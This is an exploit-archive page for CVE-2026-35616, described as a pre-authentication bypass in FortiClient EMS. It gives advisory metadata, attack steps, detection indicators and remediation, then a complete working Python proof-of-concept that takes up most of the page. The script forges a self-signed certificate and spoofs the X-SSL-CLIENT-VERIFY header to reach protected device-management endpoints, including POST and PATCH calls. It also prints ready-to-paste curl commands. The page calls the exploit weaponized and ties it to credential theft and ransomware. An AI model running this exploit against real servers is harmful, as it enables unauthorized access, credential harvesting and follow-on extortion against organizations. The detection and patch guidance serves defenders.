PoC Archive PoC Archive
Critical CVE-2026-35616 unpatched

Fortinet FortiClient EMS Pre-Auth Bypass — "FortiBleed" (CVE-2026-35616)

by Fortinet (advisory); Alaatk (PoC) · 2026-07-03

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-04
Author / ResearcherFortinet (advisory); Alaatk (PoC)
CVE / AdvisoryCVE-2026-35616
Categorynetwork
SeverityCritical
CVSS Score9.1 (CVSSv3)
StatusWeaponized
Tagsauthentication-bypass, header-spoofing, Fortinet, FortiClient-EMS, FortiBleed, credential-theft, CISA-KEV, active-exploitation, ransomware
RelatedN/A

Affected Target

FieldValue
Software / SystemFortinet FortiClient Endpoint Management Server (EMS)
Versions Affected7.4.5, 7.4.6
Language / PlatformPython (PoC) targeting FortiClient EMS’s Fabric/FortiGate device-auth API
Authentication RequiredNo
Network Access RequiredYes (HTTPS to FortiClient EMS management API)

Summary

CVE-2026-35616 is a pre-authentication bypass in Fortinet FortiClient EMS’s certificate-chain authentication handler (cert_chain_auth.py), which trusts the X-SSL-CLIENT-VERIFY header directly without performing real cryptographic validation of the presented client certificate. By forging a self-signed certificate whose Common Name matches a CA name accepted by the TLS client-certificate prompt (enumerable via openssl s_client) and supplying the spoofed verification header, an unauthenticated attacker can reach protected Fabric/FortiGate device-management API endpoints as a trusted device. This bug is the technical root cause of the “FortiBleed” mass credential-theft campaign, in which attackers harvest browser/EMS credentials at scale (430,000+ FortiGate firewalls reportedly affected) and the resulting access has since been linked to INC Ransom and Lynx ransomware affiliates for follow-on extortion.


Vulnerability Details

Root Cause

cert_chain_auth.py authorizes a request as coming from a verified Fabric device based solely on the client-supplied X-SSL-CLIENT-VERIFY header and a certificate Common Name, without validating the certificate’s cryptographic chain of trust against a real CA — allowing a self-signed, attacker-forged certificate to satisfy the check.

Attack Vector

  1. Enumerate acceptable client-certificate CA names from the target’s TLS handshake via openssl s_client -connect <target>:<port>.
  2. Forge a self-signed X.509 certificate whose CN matches one of the accepted CA names (forge_cert()).
  3. Send requests to protected endpoints (/api/v1/system/capabilities, /api/v1/system/version, /api/v1/settings/server/public_address, /api/v1/fabric_device_auth/fortigate/init, /api/v1/fortigate/info) with the spoofed X-SSL-CLIENT-VERIFY header and forged CN, bypassing authentication as a trusted Fabric/FortiGate device.
  4. Use the resulting access to enumerate device info and pivot toward credential/config harvesting (the basis of the broader FortiBleed campaign).

Impact

Unauthenticated access to protected FortiClient EMS Fabric-device management endpoints, enabling credential harvesting at scale and downstream ransomware deployment by affiliated threat actors.


Environment / Lab Setup

Target:   FortiClient EMS 7.4.5 - 7.4.6
Attacker: Python 3 + requests, cryptography, urllib3; openssl in PATH

Proof of Concept

PoC Script

See cve_2026_35616.py in this folder.

1
2
3
4
python3 cve_2026_35616.py <target> [port]

python3 cve_2026_35616.py 192.168.1.100
python3 cve_2026_35616.py 192.168.1.100 8443

Enumerates accepted client-certificate CA names via openssl s_client, forges a matching self-signed certificate, and replays the forged X-SSL-CLIENT-VERIFY header against a set of protected Fabric/FortiGate device-auth API endpoints to demonstrate the authentication bypass.


Detection & Indicators of Compromise

Signs of compromise:

  • Fabric/FortiGate device-auth API calls from unexpected source IPs with no matching legitimate device enrollment
  • Unusual openssl s_client connection patterns immediately preceding API access
  • Downstream indicators of the FortiBleed campaign: EKZ Stealer artifacts, unexpected credential exfiltration, ransomware precursor activity (INC Ransom / Lynx TTPs)

Remediation

ActionDetail
Primary fixUpgrade FortiClient EMS to 7.4.7 or later
Interim mitigationRestrict management-plane access to FortiClient EMS to trusted administrative networks only
CleanupIf FortiBleed exposure is suspected, rotate all credentials accessible via EMS-managed endpoints and hunt for INC Ransom / Lynx ransomware precursor activity

References


Notes

Mirrored from https://github.com/Alaatk/CVE-2026-35616 on 2026-07-03. 35 stars / 10 forks at time of mirroring; author’s repo includes a PoC screenshot corroborating the bypass against a lab target.

cve_2026_35616.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
#!/usr/bin/env python3
# CVE-2026-35616 - FortiClient EMS 7.4.6 pre-auth bypass
# cert_chain_auth.py trusts X-SSL-CLIENT-VERIFY header directly, no crypto validation
# usage: python3 cve_2026_35616.py <ip> [port]
#
# DISCLAIMER
# ----------
# This script is provided for educational and authorized security research purposes only.
# Do not use this tool against any system you do not own or have explicit written
# permission to test. Unauthorized use against production systems or systems you do not
# have permission to test may be illegal under the Computer Fraud and Abuse Act (CFAA),
# the Computer Misuse Act, or equivalent laws in your jurisdiction.
#
# The author assumes no liability and is not responsible for any misuse or damage
# caused by this tool. By using this script, you agree that you are solely responsible
# for complying with all applicable local, state, national, and international laws.
#
# This was developed in an isolated lab environment for vulnerability research purposes.

import re
import sys
import subprocess
import urllib.parse
from datetime import datetime, timezone, timedelta

import requests
import urllib3
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET   = sys.argv[1] if len(sys.argv) > 1 else "172.16.50.51"
PORT     = int(sys.argv[2]) if len(sys.argv) > 2 else 443
BASE     = f"https://{TARGET}:{PORT}"
ENDPOINT = "/api/v1/system/capabilities"

CERT_CHAIN_ENDPOINTS = [
    ("GET",   "/api/v1/system/capabilities",                None),
    ("GET",   "/api/v1/system/version",                     None),
    ("GET",   "/api/v1/settings/server/public_address",     None),
    ("POST",  "/api/v1/fabric_device_auth/fortigate/init",  "__sn_body__"),
    ("PATCH", "/api/v1/fortigate/info",                     {"fortigates": []}),
]


def forge_cert(cn: str) -> str:
    key  = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
    cert = (
        x509.CertificateBuilder()
        .subject_name(name)
        .issuer_name(name)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(datetime.now(timezone.utc) - timedelta(days=1))
        .not_valid_after(datetime.now(timezone.utc) + timedelta(days=3650))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
        .sign(key, hashes.SHA256())
    )
    return cert.public_bytes(serialization.Encoding.PEM).decode()


def fetch_tls_ca_cns() -> list:
    cns = []
    try:
        out = subprocess.run(
            ["openssl", "s_client", "-connect", f"{TARGET}:{PORT}"],
            input=b"", capture_output=True, timeout=10,
        )
        in_section = False
        for line in (out.stdout + out.stderr).decode(errors="replace").splitlines():
            if "Acceptable client certificate CA names" in line:
                in_section = True
                continue
            if in_section:
                line = line.strip()
                if not line or line.startswith("Requested") or line.startswith("---"):
                    break
                m = re.search(r"CN=([^,\n/]+)", line)
                if m:
                    cn = m.group(1).strip()
                    if cn not in cns:
                        cns.append(cn)
                        print(f"  [tls]  {cn!r}")
    except Exception as e:
        print(f"  [tls]  failed: {e}")
    return cns


def fetch_ztna_ca_cns() -> list:
    cns = []
    try:
        r = requests.get(f"{BASE}/api/v1/ztna_certificates/download", verify=False, timeout=10)
        if r.status_code != 200 or "BEGIN CERTIFICATE" not in r.text:
            return cns
        for block in r.text.split("-----END CERTIFICATE-----"):
            block = block.strip()
            if not block:
                continue
            try:
                cert  = x509.load_pem_x509_certificate((block + "\n-----END CERTIFICATE-----\n").encode())
                attrs = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)
                if attrs:
                    cn = attrs[0].value
                    if cn not in cns:
                        cns.append(cn)
                        print(f"  [ztna] {cn!r}")
            except Exception:
                pass
    except Exception as e:
        print(f"  [ztna] failed: {e}")
    return cns


def send_bypass(method: str, path: str, cn: str, body=None):
    pem = forge_cert(cn)
    headers = {
        "X-SSL-CLIENT-VERIFY": "SUCCESS",
        "X-SSL-CLIENT-CERT":   urllib.parse.quote(pem, safe=""),
    }
    url = f"{BASE}{path}"
    if method in ("POST", "PATCH"):
        headers["Content-Type"] = "application/json"
        import json
        r = requests.request(method, url, headers=headers, data=json.dumps(body or {}), verify=False, timeout=10)
    else:
        r = requests.get(url, headers=headers, verify=False, timeout=10)
    return r.status_code, r.text, pem


print(f"[*] CVE-2026-35616  {BASE}\n")

def fetch_serial_cn() -> list:
    cns = []
    try:
        r = requests.get(BASE, verify=False, timeout=10)
        sn = r.headers.get("Serial Number", "").strip()
        if sn and sn not in cns:
            cns.append(sn)
            print(f"  [hdr]  {sn!r}")
    except Exception:
        pass
    return cns


print("[*] Discovering CA CNs ...")
candidates = fetch_tls_ca_cns()
for cn in fetch_ztna_ca_cns():
    if cn not in candidates:
        candidates.append(cn)
for cn in fetch_serial_cn():
    if cn not in candidates:
        candidates.append(cn)

if not candidates:
    print("  [!] discovery failed — falling back to known Fortinet default CNs")
    candidates = ["support", "fortinet-ca2"]

working_cn  = None
working_pem = None

import json as _json

print(f"\n[*] Finding working CN from {len(candidates)} candidate(s) ...")
for cn in candidates:
    try:
        status, text, pem = send_bypass("GET", CERT_CHAIN_ENDPOINTS[0][1], cn)
        try:
            retval = _json.loads(text).get("result", {}).get("retval", -1)
        except Exception:
            retval = -1
        if status == 200 and retval > 0:
            working_cn  = cn
            working_pem = pem
            print(f"  [+] CN={cn!r}  HTTP {status}  retval={retval}  ← bypass confirmed\n")
            break
        print(f"  [-] CN={cn!r}  HTTP {status}  retval={retval}")
    except Exception as e:
        print(f"  [!] CN={cn!r}  error: {e}")
if not working_cn:
    print("\n[-] Bypass failed — target patched, API unreachable, or headers stripped upstream")
    sys.exit(1)

print(f"[*] Probing all cert_chain endpoints with CN={working_cn!r} ...\n")
cert_enc = urllib.parse.quote(working_pem, safe="")

for method, path, body in CERT_CHAIN_ENDPOINTS:
    try:
        actual_body = {"serial_number": working_cn, "vdom": "root"} if body == "__sn_body__" else body
        status, text, _ = send_bypass(method, path, working_cn, actual_body)
        print(f"  {method:5s} {path}")
        print(f"        HTTP {status}: {text[:200]!r}")
        print()
    except Exception as e:
        print(f"  {method:5s} {path}  error: {e}\n")

for method, path, _ in CERT_CHAIN_ENDPOINTS:
    flag = f"-X {method} " if method not in ("GET",) else ""
    print(f'curl -sk {flag}-H "X-SSL-CLIENT-VERIFY: SUCCESS" -H "X-SSL-CLIENT-CERT: {cert_enc}" "{BASE}{path}"')